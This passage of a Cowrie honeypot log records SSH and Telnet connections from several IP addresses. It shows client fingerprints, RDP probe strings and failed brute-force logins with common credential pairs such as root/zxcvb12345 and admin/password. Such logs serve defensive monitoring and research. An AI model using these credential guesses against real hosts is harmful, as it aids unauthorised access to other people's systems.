cdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:32.751601Z","src_ip":"83.168.110.85","session":"d006b6c07975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:33.315275Z","src_ip":"83.168.110.85","session":"d006b6c07975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:34.454030Z","src_ip":"83.168.110.85","session":"d006b6c07975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50789,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fe93ee3a319","protocol":"ssh","message":"New connection: 152.42.212.128:50789 (159.203.135.109:22) [session: 5fe93ee3a319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:39.457678Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:39.463245Z","src_ip":"152.42.212.128","session":"5fe93ee3a319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:39.470965Z","src_ip":"152.42.212.128","session":"5fe93ee3a319","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43002,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3f8abc1dbf5","protocol":"ssh","message":"New connection: 83.168.110.85:43002 (10.17.0.5:22) [session: d3f8abc1dbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:40.200198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:40.212241Z","src_ip":"83.168.110.85","session":"d3f8abc1dbf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:40.338929Z","src_ip":"83.168.110.85","session":"d3f8abc1dbf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":40338,"dst_ip":"159.203.135.109","dst_port":22,"session":"531a637810cc","protocol":"ssh","message":"New connection: 103.77.175.15:40338 (159.203.135.109:22) [session: 531a637810cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:40.442426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:40.448377Z","src_ip":"103.77.175.15","session":"531a637810cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:40.704520Z","src_ip":"83.168.110.85","session":"d3f8abc1dbf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:40.712515Z","src_ip":"103.77.175.15","session":"531a637810cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":51276,"dst_ip":"10.17.0.5","dst_port":22,"session":"332ee84a7133","protocol":"ssh","message":"New connection: 167.172.81.52:51276 (10.17.0.5:22) [session: 332ee84a7133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:41.443400Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:41.449394Z","src_ip":"167.172.81.52","session":"332ee84a7133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:41.460759Z","src_ip":"167.172.81.52","session":"332ee84a7133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvb12345","message":"login attempt [root/zxcvb12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:41.498479Z","src_ip":"103.77.175.15","session":"531a637810cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:42.042685Z","src_ip":"83.168.110.85","session":"d3f8abc1dbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:42.762272Z","src_ip":"103.77.175.15","session":"531a637810cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41464,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce70dbeb7e1e","protocol":"ssh","message":"New connection: 193.37.70.224:41464 (10.17.0.5:22) [session: ce70dbeb7e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:44.946463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:44.955031Z","src_ip":"193.37.70.224","session":"ce70dbeb7e1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:45.045463Z","src_ip":"193.37.70.224","session":"ce70dbeb7e1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:45.323218Z","src_ip":"193.37.70.224","session":"ce70dbeb7e1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:46.416137Z","src_ip":"193.37.70.224","session":"ce70dbeb7e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44562,"dst_ip":"10.17.0.5","dst_port":22,"session":"eedff8c20c20","protocol":"ssh","message":"New connection: 83.168.110.85:44562 (10.17.0.5:22) [session: eedff8c20c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:47.249924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:47.253815Z","src_ip":"83.168.110.85","session":"eedff8c20c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:47.377334Z","src_ip":"83.168.110.85","session":"eedff8c20c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:47.746092Z","src_ip":"83.168.110.85","session":"eedff8c20c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:48.871917Z","src_ip":"83.168.110.85","session":"eedff8c20c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44574,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ba8b10ad572","protocol":"ssh","message":"New connection: 83.168.110.85:44574 (10.17.0.5:22) [session: 4ba8b10ad572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:54.059498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:54.309116Z","src_ip":"83.168.110.85","session":"4ba8b10ad572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:54.313053Z","src_ip":"83.168.110.85","session":"4ba8b10ad572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:54.819698Z","src_ip":"83.168.110.85","session":"4ba8b10ad572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:56.123971Z","src_ip":"83.168.110.85","session":"4ba8b10ad572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35632,"dst_ip":"10.17.0.5","dst_port":22,"session":"a18dbb651a45","protocol":"ssh","message":"New connection: 83.168.110.85:35632 (10.17.0.5:22) [session: a18dbb651a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:01.072792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:01.079280Z","src_ip":"83.168.110.85","session":"a18dbb651a45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:01.221208Z","src_ip":"83.168.110.85","session":"a18dbb651a45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:01.598870Z","src_ip":"83.168.110.85","session":"a18dbb651a45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:02.899382Z","src_ip":"83.168.110.85","session":"a18dbb651a45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33442,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4f9b8fd7337","protocol":"ssh","message":"New connection: 51.250.105.222:33442 (159.203.135.109:22) [session: f4f9b8fd7337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:03.683208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:03.688364Z","src_ip":"51.250.105.222","session":"f4f9b8fd7337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:03.821468Z","src_ip":"51.250.105.222","session":"f4f9b8fd7337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhfcfdbwf","message":"login attempt [root/rhfcfdbwf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:04.224620Z","src_ip":"51.250.105.222","session":"f4f9b8fd7337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.203.150.12","src_port":39879,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f4ae7449520","protocol":"telnet","message":"New connection: 115.203.150.12:39879 (10.17.0.5:23) [session: 2f4ae7449520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:04.799243Z"}
{"eventid":"cowrie.session.closed","duration":0.0063250064849853516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:04.805429Z","src_ip":"115.203.150.12","session":"2f4ae7449520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:05.370780Z","src_ip":"51.250.105.222","session":"f4f9b8fd7337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39274,"dst_ip":"159.203.135.109","dst_port":22,"session":"b22db1dc71f4","protocol":"ssh","message":"New connection: 87.251.79.125:39274 (159.203.135.109:22) [session: b22db1dc71f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:07.973318Z"}
